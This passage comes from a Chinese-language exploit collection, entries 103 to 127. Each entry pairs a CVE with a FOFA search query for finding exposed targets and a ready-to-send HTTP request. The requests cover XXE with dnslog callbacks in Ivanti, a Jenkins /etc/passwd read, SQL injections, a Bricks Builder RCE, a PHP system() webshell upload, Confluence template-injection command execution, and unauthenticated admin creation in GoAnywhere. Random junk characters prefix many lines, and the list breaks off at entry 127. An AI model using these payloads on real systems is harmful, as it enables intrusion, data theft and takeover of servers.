Accept-Encoding: gzip
  Q5 R3 n3 d, P" D7 t8 C1 P
) q) a6 J. O# P$ ?$ I* W/ {<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
3 w  ]% n' O+ Z4 \4 A
3 H' A1 u) X0 S  L! ^103. Ivanti Pulse Connect Secure VPN XXE
/ n( }, R7 k8 ECVE-2024-22024
* \& [5 [  p0 z$ ]* `5 Z2 aFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
/ v' Q# D; y8 ]: F1 cHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
, {+ m, x  v  U! ]
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
" M$ d' }: D4 ?  r

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

6 l: M. m1 j" ?& q" m' p, l! s
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
. u8 z) I& F# A' ZPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
! o+ N2 H4 @2 G" I: _8 sContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
" E5 \9 G) \4 J. OUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
2 {3 j3 O2 k# N5 C) U- \* kReferer: http://192.168.0.1/advance/index.html?time=1671152380564
( h+ D  F3 ^+ v, M) S- {Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
) M& {! X5 Y2 HConnection:close
' D. Y/ T* n( K* ]2 h! b7 j
{
) S/ d8 I9 T: v' O9 {( @3 m, L"topicurl":"getSysStatusCfg",
- K5 @5 }& b4 a: V"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
4 V% K0 R% g0 h+ y! WFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
2 D# O5 I* y+ K
106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
% D  U. [6 A- j. uGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
' c- |- A- K2 r8 P0 k) c4 {9 |Host: your-ip
+ T, o$ B) N4 G& s& }1 G9 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 l, `9 x; I/ z6 M$ ?Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
) a4 o5 N7 d7 v/ L9 E2 ~Accept-Language: zh-CN,zh;q=0.9
7 ~( q' T/ H& Q; Q6 u, uConnection: close
3 f' u! E9 r& X4 Q3 H) _
+ u5 V7 W) G+ j
6 S" g+ {: j4 F8 y107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
! L* @; N  y5 ]1 r+ z) M: mHost: your-ip
8 Z# u% m1 A9 C4 _/ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
; ?' w' f, C; }/ uConnection: close
9 c  ]0 y5 B; w- u
; B. w: L% u$ l4 g9 \
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
; {& v$ S$ h6 w0 _6 u& GFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
3 r( G& u1 X2 W% J% F$ {* bHost: your-ip
0 h/ a2 L# ]8 G* B4 a# @7 o! DAccept: application/json, text/plain, */*
; A5 e! ?$ V* j1 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
# Q7 p7 k3 g0 KAccept-Encoding: gzip, deflate
) d8 d! B0 n4 l: t4 _7 u2 eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
6 K3 E1 z2 t/ h# e7 P  CConnection: close


109. Jenkins CLI 任意文件读取
CVE-2024-23897
' m* [7 U" T5 {& eFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
: {. q5 f' p  X" JContent-type: application/octet-stream
: W+ c; X$ M1 Y$ C4 b% kSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
/ S  [8 b$ F$ F6 e9 p; ?$ [Side: upload
Connection: keep-alive
Content-Length: 163

6 x$ ?7 R5 Q7 ^7 Db'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
9 m/ q- B$ W" P; GHost:
4 m4 ?7 W: J( `0 zSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
1 w+ O5 P" N5 t# G% \5 z2 vdownload
Content-Type: application/x-www-form-urlencoded
9 p8 o! E" x3 j$ h, h+ x% gContent-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
% T( g. z% b  y6 |& ELists all the available commands or a detailed description of single command.
  `+ w% s$ r1 N* {0 j3 N; s4 {3 t: d COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
5 j" S0 j- p" x

5 w5 X- z3 L9 }9 L/ x, z110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
  x% i8 h" j, ^: v& c6 \FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
# l$ m; L& x1 ?" Y2 w: i1 ~' e# EGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
' w" S: q- O. J9 L4 L. {Accept: */*
) I- n9 s. ?  T0 }Accept-Language: en
; X- ?3 t: y, r7 a7 m( DAccept-Encoding: gzip
0 j! D8 v; t( t+ s+ b# I

111. WordPress Plugin HTML5 Video Player SQL注入
6 q% }8 q3 k. y* qCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
6 N2 d$ z. B) j6 PGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
1 p9 u" j7 f. W$ b. d% v0 RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
2 U/ w, r; o+ W2 c' y" eAccept: */*
" A8 `3 c& p+ C* R% tAccept-Language: en
4 s4 A; w8 f! g7 S9 {/ o) I; u( zAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
+ x. P' a  R* f# A  o" U. \& bFOFA：body="/wp-content/plugins/notificationx"
  P5 H% m# m9 o5 s) a- J5 s% j' q# dPOST /wp-json/notificationx/v1/analytics HTTP/1.1
+ c  t/ |% g# j+ X) o3 aHost: {{Hostname}}
/ j  h1 H$ e. i& V& P; [# IContent-Type: application/json
+ r* U0 |- |; o7 Q" s5 V
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
+ o/ d# R4 C/ G  X1 @

113. WordPress Automatic 插件任意文件下载和SSRF
0 F- j  B9 S0 h8 s2 O' Y! _CVE-2024-27954
5 C3 E* W' o% I2 FFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
- g, _, }) ?: ~) Z/ y: lHost: x.x.x.x
+ @5 N; r! S' V! }User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
( }4 S7 d! E9 i, W2 d7 nConnection: close
Accept: */*
Accept-Language: en
. T! H' \! g* m2 y* U0 vAccept-Encoding: gzip
8 S* B- v# h% m8 f) {0 J9 H  P
9 K) h9 g6 E* w' w1 Q4 T; ~4 l
114. WordPress MasterStudy LMS插件 SQL注入
' j( }" c, j' V1 c- S  H+ TFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
4 \% z& A  R. ]7 W2 T2 z/ EUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
7 }( G( t. A; Q% `; TAccept-Encoding: gzip, deflate
: |5 h. J. g# m7 k2 u# E- {Connection: close

! P3 x5 q4 I. g, h2 l: [- n6 x4 `/ l
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
; ]6 d$ ]" Q0 S" M4 YFOFA: body="/wp-content/themes/bricks/"
, l$ ?3 Z5 W( N) J1 U; L0 V第一步，获取网站的nonce值
  J: }( R) s! k* d% F& RGET / HTTP/1.1
: k4 w9 v6 j8 o" b& B: l* aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
' e8 \* }1 p# \/ h3 F0 A5 g$ JAccept-Encoding: gzip
3 X9 V/ \& A4 p( t7 ~$ g/ m9 k
. n* F- m6 d; H6 d0 P* Q+ m
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
0 J' {% r4 {- l8 a4 s( x6 s4 s& |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
3 K5 z3 v0 `! [8 O8 mContent-Length: 356
; [! z" o/ e" S8 w# v2 t# Y7 y/ `Content-Type: application/json
7 D: x" U% S- F0 P- mAccept-Encoding: gzip

) h7 n4 A! H" l{
"postId": "1",
  "nonce": "第一步获得的值",
5 u; s% q7 ~5 R- X' t% U- q  "element": {
    "name": "container",
) X* I& v& c. l7 j# n  b    "settings": {
! S7 e1 }# x( g/ p- }      "hasLoop": "true",
      "query": {
1 J: h) {" L3 {4 W        "useQueryEditor": true,
" `- \, N4 ~' C, O5 {9 u        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
- o3 Q$ e3 X' ]- N        "objectType": "post"
      }
. k5 I! c9 u3 e0 f- M7 S- f    }
% e! s4 D! E1 y2 {: p. o  }
1 H& d0 P$ T0 z- f}

( p- _/ Y* a0 A' J% w% G
116. wordpress js-support-ticket文件上传
4 _* _& T; g: G3 h+ kFOFA：body="wp-content/plugins/js-support-ticket"
) w. U4 q1 J0 _3 ]  p. g2 _POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
& n( v: p% b8 V$ eHost:
5 c/ X; Z1 _- D8 @Content-Type: multipart/form-data; boundary=--------767099171
# n2 o) q# y* G6 BUser-Agent: Mozilla/5.0
  w8 j4 w4 H. ^9 `$ E2 |. ?4 U4 ^
----------767099171
' k- }% r9 g: o! L" CContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
9 _5 b' V+ ~7 cContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
. ^7 n3 s, _$ SContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
3 [; j  s) z6 Q- S  rContent-Type: image/png
----------767099171--
* p9 ~1 A" {: }3 F8 ?& ^+ |

8 g" Z& B1 l/ \% {7 g117. WordPress LayerSlider插件SQL注入
0 O2 S$ d0 ?, m  I) _% j9 Oversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
  j6 F' W( F' h4 e* _# G5 FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, T8 u5 p* [2 S3 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ z! c( c5 }( I7 u! f$ NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  c3 U$ O! h! h% Y* N% MConnection: close
Upgrade-Insecure-Requests: 1


# i8 e3 c- F: h, Z) S, I118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
% p3 n5 P+ p1 f4 q7 k/ a- c# vCVE-2024-0939
) w; h0 a# k+ CFOFA：title="Smart管理平台"
- d" @* I9 m- M7 ]POST /Tool/uploadfile.php? HTTP/1.1
( o/ j9 }5 T' y7 ZHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
( r; S. W: f- r7 W& hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ m3 j" V% |; `* B% f5 d2 q" FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) l! \3 m  E: D- x1 CContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
5 ?' f( W/ H1 U3 j# u7 O8 YContent-Length: 405
' e; F8 m( B; L' V5 c/ _9 \Origin: https://192.168.40.130:8443
8 \- `/ F4 ?" |' R& x6 fReferer: https://192.168.40.130:8443/Tool/uploadfile.php
8 ?) q# w8 k9 P  \" sUpgrade-Insecure-Requests: 1
, t( l- _6 p# k2 ^7 \9 TSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
7 M- O/ t6 ^9 r) b2 X8 ySec-Fetch-User: ?1
Te: trailers
) n* U- y8 h, M7 @. `3 lConnection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
4 ~* f$ `% E/ B1 C5 fContent-Type: application/octet-stream
8 C5 M! B2 s. P6 ?2 u: E: G, N. p1 c+ o
: S, |# n3 X. D1 d/ t' c<?php
- M( B) W* M- U* x; [+ b6 A  `system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
( A0 {5 h5 H1 S( X% Y0 Y1 A
/home/src.php
3 ?0 R3 H/ A8 h& v# o-----------------------------13979701222747646634037182887--

! _) ~0 {4 X" G& R+ q# C/ J: B6 ?
访问/home/src.php

7 C7 A9 J  k# I$ N; E119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
" {% j; h. Q: X+ OHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
+ p4 B4 l: W8 ?7 k, @1 \7 \! PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) y: X, [" |1 o9 h# `Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
- z* w( V5 e: @) XContent-Length: 109
7 I! x) t( F% ]8 t/ g' TOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
0 \4 _  }, P  h6 o( Q9 N1 F1 `Sec-Fetch-Mode: cors
: `+ }+ W9 }# u. i- T( S! DSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
4 A# }9 d0 X5 MX-Remote-Addr: 1.1.1.1
/ e$ P' r+ n% f3 J& QTe: trailers
Connection: close
( j& Y& d8 `: p# z1 K9 F$ w, o) r
9 \; M9 s! v7 }- b: S, a' Y- T; fsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
9 B, b6 V0 d/ x: q. e

120. 北京百绰智能S40管理平台导入web.php任意文件上传
+ _8 v- R+ M0 x& vCVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
9 Z0 a9 ~* y/ ?) Y& m+ @, JHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
! g0 m; H1 ]8 g- s( t! PUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
6 Z$ o5 ~% k! L1 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 E6 _8 I& m+ t1 Z. `5 l! c% i! uContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
0 P6 B. T! J, O5 t; G- a9 eContent-Length: 597
6 g/ m) {$ i. t3 u+ ROrigin: https://ip:port
8 c2 W0 W2 K% ^) bReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
. `- Y* I7 f5 e+ \Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
/ u- Q& n, B' C0 q5 U& D9 ASec-Fetch-User: ?1
Te: trailers
Connection: close

2 y# l. t( q1 t/ ~* }' b2 T9 |-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
: \3 `; Z$ x, [: }) w+ E9 NContent-Type: application/octet-stream
! ^* o& X; o) |0 i6 |- b
+ v9 ]( }$ v4 Z- W% q' Q0 _; t8 w4 D* n<?php phpinfo()?>
3 }/ k- }6 h# B* T" g. P-----------------------------42328904123665875270630079328
7 K* D# Y. @& E  h( K* f0 [& aContent-Disposition: form-data; name="id_type"
8 A- |3 `/ M0 C2 T; ^
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
( w0 C9 W+ o3 H% q( S
1 I& c& m$ J" _5 G4 W: y1_radhttp
7 H! W* J( j2 W. b-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
( h% i! O1 r; }
import
2 t/ P# a# U# m1 S-----------------------------42328904123665875270630079328
% M* @* d2 z: O" x; ]1 V; V& f
6 X7 j! p$ L7 k, N" U
% E! p" h" }" k) C文件路径/upload/2.php

  x' o7 B7 \$ q  S8 Q3 o5 _) G121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
3 n& _; b5 b0 @" n' gFOFA：title="Smart管理平台"
' u! R; i" ?! H! G: |9 ^* kPOST /useratte/userattestation.php HTTP/1.1
/ f: a' ^& r3 q+ ^3 Z+ {Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
7 e" s& B+ P! e3 aUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
1 ]  s) I2 ?* c+ o/ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- ^; o% O7 G$ p; P% }7 cAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
- l1 [$ M" [! PContent-Length: 592
8 b$ t$ ^: C4 ]/ J% x3 LOrigin: https://192.168.40.130:8443
. p6 l6 ^! A" @3 H3 ]9 ]Upgrade-Insecure-Requests: 1
- m& C' s9 \$ y# ^Sec-Fetch-Dest: document
* R' f2 F% {# i2 v$ hSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
: `% i+ X$ y% n2 ~Connection: close

, @7 R1 R- v, I-----------------------------42328904123665875270630079328
! \1 |5 e$ O$ }; W! q% jContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
% C6 [( V, z1 m9 D+ m* u( o' v
<?php phpinfo();?>
5 [. ^. O9 v8 u3 l4 @. D-----------------------------42328904123665875270630079328
9 x' R4 Q' P8 S; L0 L: e/ w1 R% b: IContent-Disposition: form-data; name="id_type"
$ ^9 q4 w/ b  o: m+ x
' V7 y  z* x4 ^5 g* u1
& c3 o. P; x; g: @; ?& @1 F/ {-----------------------------42328904123665875270630079328
1 C4 H8 f! b2 s& I% qContent-Disposition: form-data; name="1_ck"
9 B* b6 g+ v' W' h) b  J, d
: {5 n6 \+ ?& a1 Q6 L2 X1_radhttp
" v% j9 a+ f( _0 a  z. {% b" Y; h-----------------------------42328904123665875270630079328
3 O: v8 C- n. C& R8 D, s8 \- OContent-Disposition: form-data; name="hidwel"
: `1 m2 m7 O2 q# I& M
set
& G9 k3 O* ]& Y1 L6 ^9 W-----------------------------42328904123665875270630079328
3 x8 k+ Q  c9 g- \. g( O: O8 ]+ A

  J. Y- Q2 O$ p& qboot/web/upload/weblogo/1.php
- X3 f: q% j8 J7 t! s% m. C
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
5 M' `% }6 s" X) L/ e其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
! O! i) Q1 c; R/ T3 T$ JCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ Q3 J0 f2 T3 o& m) XAccept-Encoding: gzip, deflate, br
, u! b0 g' F% T& F+ Y" LUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
$ j' N0 s: o1 p; q! r/ B' ASec-Fetch-Mode: navigate
( e* P' I/ S' RSec-Fetch-Site: none
Sec-Fetch-User: ?1
$ F$ M) W8 K1 |6 P7 @/ v" zTe: trailers
! m* X. H) D5 r9 d  f7 C7 y" Q) KConnection: close
. b, W9 C8 G8 i; l' q

. E6 l: E* L# ]+ Y: k  l123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
) A' I( n3 ?' E' f7 V, j2 }3 LHost: localhost:8090
Accept-Encoding: gzip, deflate, br
, m7 M" p' @. ^1 {; M' oAccept: */*
* T: Q* q+ g. d4 h. JAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
- `6 `( R9 J5 w# S  b6 R9 L3 s# {8 T
9 a2 R& f% z% B* @9 Clabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

' t8 _4 ]  o' M5 H3 P
124. 湖南建研工程质量检测系统任意文件上传
& Z9 N7 r% M2 T' BFOFA：body="/Content/Theme/Standard/webSite/login.css"
7 r2 p4 [, [7 |) ~+ R2 J! ~; q$ o+ i# IPOST /Scripts/admintool?type=updatefile HTTP/1.1
0 Y; p" B2 ?3 X9 g# @Host: 192.168.40.130:8282
' f2 w" h) _% I" XUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
" u/ O- q7 A/ M4 A5 U2 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
* s( C: B/ M* j, u2 M7 n8 cAccept-Encoding: gzip, deflate, br
& M7 ?5 z+ j# Q1 A* Z3 K; y/ `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
3 e, c: }/ x1 yContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


  F' [( G. z9 q5 b+ }! L3 e1 C1 w9 G9 ghttp://192.168.40.130:8282/Scripts/abcgcg.aspx
' O0 G; b/ B7 v  L
% {9 u/ X: F/ d125. ConnectWise ScreenConnect身份验证绕过
0 u; i, _4 ?, _; |0 M1 SCVE-2024-1709
! h# {" G. }( G( o2 rFOFA：icon_hash="-82958153"
. F3 Q, Z2 Z4 K& ^. {5 m  Khttps://github.com/watchtowrlabs ... bypass-add-user-poc

6 R) x$ Y6 V5 f. a& d
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
2 |! U% [9 Y. a" m; N+ R% ?" j3 ^" t
' I) a9 ?& ]# Y
创建好用户后直接登录后台，可以执行系统命令。
9 A  S- f1 K& p7 J9 p
126. Aiohttp 路径遍历
1 [# k8 r7 k/ r* q1 C2 F' fFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
8 s1 l, p# d9 ~2 ^' e9 f+ }' ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
8 C! ?! u9 W/ S# H  Q9 aAccept-Language: en
Accept-Encoding: gzip
/ a& d% g& x! y2 [- |  ]8 `3 T9 l

127. 广联达Linkworks DataExchange.ashx XXE
